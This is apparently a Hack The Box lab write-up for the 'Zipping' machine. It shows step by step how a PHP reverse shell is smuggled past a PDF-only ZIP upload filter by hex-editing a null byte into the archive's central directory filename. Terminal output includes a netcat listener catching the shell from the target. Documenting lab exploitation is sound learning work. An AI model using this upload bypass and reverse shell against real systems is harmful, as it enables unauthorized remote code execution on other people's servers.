Arbitrary File Upload with Nullbyte Injection


  • The target web application supports a file upload feature at the endpoint; /upload.php
    • The endpoint takes a single ZIP archive with a PDF file in it. This is a requirement
    • The web application EXTRACTS the uploaded file and saves the content to the /uploads directory with a sub-directory that is named after the MD5 hash of the uploaded file

i will be using the nullbnyte injection technique

  • to bypass the extension filter that looks for .pdf

  • to save the payload as an executable by the web app; .php

    I have generated a PHP reverse shell and saved it to the shell.phpX.pdf file The X character is the place where a null byte character will be injected

┌──(kali㉿kali)-[~/archive/htb/labs/zipping]
└─$ zip shell.zip shell.phpX.pdf
  adding: shell.phpX.pdf (deflated 72%)
 
┌──(kali㉿kali)-[~/archive/htb/labs/zipping]
└─$ 7z l shell.zip        
 
7-zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,32 CPUs 11th Gen Intel(R) Core(TM) i9-11900H @ 2.50GHz (806D1),ASM,AES-NI)
 
scanning the drive for archives:
1 file, 2760 bytes (3 KiB)
 
listing archive: shell.zip
 
--
Path = shell.zip
Type = zip
Physical Size = 2760
 
   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2023-08-30 14:16:17 .....         9286         2582  shell.phpX.pdf
------------------- ----- ------------ ------------  ------------------------
2023-08-30 14:16:17               9286         2582  1 files
 

Now archiving it to the shell.zip file

┌──(kali㉿kali)-[~/archive/htb/labs/zipping]
└─$ hexeditor shell.zip

Using the hexeditor tool, to view/modify the content in the hexadecimal format

Ctrl+W to search for text string Searching for the string; phpX

There are 2 locations that contains the string; shell.phpX.pdf

  • 00000010 to 00000020
  • 00000A89 to 00000A90

The first location is the file entry, which is referred from the central directory The second location is part of the central directory

Therefore, modification must be made to the filename in the central directory

Replacing the character X with a null byte (\x00)

Saving

┌──(kali㉿kali)-[~/archive/htb/labs/zipping]
└─$ 7z l shell.zip
 
7-zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,32 CPUs 11th Gen Intel(R) Core(TM) i9-11900H @ 2.50GHz (806D1),ASM,AES-NI)
 
scanning the drive for archives:
1 file, 2760 bytes (3 KiB)
 
listing archive: shell.zip
 
--
Path = shell.zip
Type = zip
Physical Size = 2760
 
   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2023-08-30 14:16:17 .....         9286         2582  shell.php
------------------- ----- ------------ ------------  ------------------------
2023-08-30 14:16:17               9286         2582  1 files

Now checking the content of the archive shows, shell.php, due to the injected null byte as it terminates the remaining The web app will still see it as shell.phpX.pdf though

Uploading As shown above, the filename in the bottom(Central Directory) has been modified to shell.php.pdf It’s invisible here but a null byte is there

Upload complete Notice the whitespace in the uploaded filename;shell.php .pdf That indicates that nullbyte injection was successful

Now, loading the uploaded file without the nullbyte and the rest ( .pdf) would execute the content as the web application is written PHP

┌──(kali㉿kali)-[~/archive/htb/labs/zipping]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.229] 42054
socket: Shell has connected! PID: 10073
whoami
rektsu
hostname
zipping
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.229  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 fe80::250:56ff:feb9:5009  prefixlen 64  scopeid 0x20<link>
        inet6 dead:beef::250:56ff:feb9:5009  prefixlen 64  scopeid 0x0<global>
        ether 00:50:56:b9:50:09  txqueuelen 1000  (Ethernet)
        RX packets 1432072  bytes 222645136 (222.6 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1458979  bytes 690845990 (690.8 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 35839  bytes 2645070 (2.6 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 35839  bytes 2645070 (2.6 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Initial Foothold established to the target system as the rektsu user via Arbitrary File Upload with Nullbyte Injection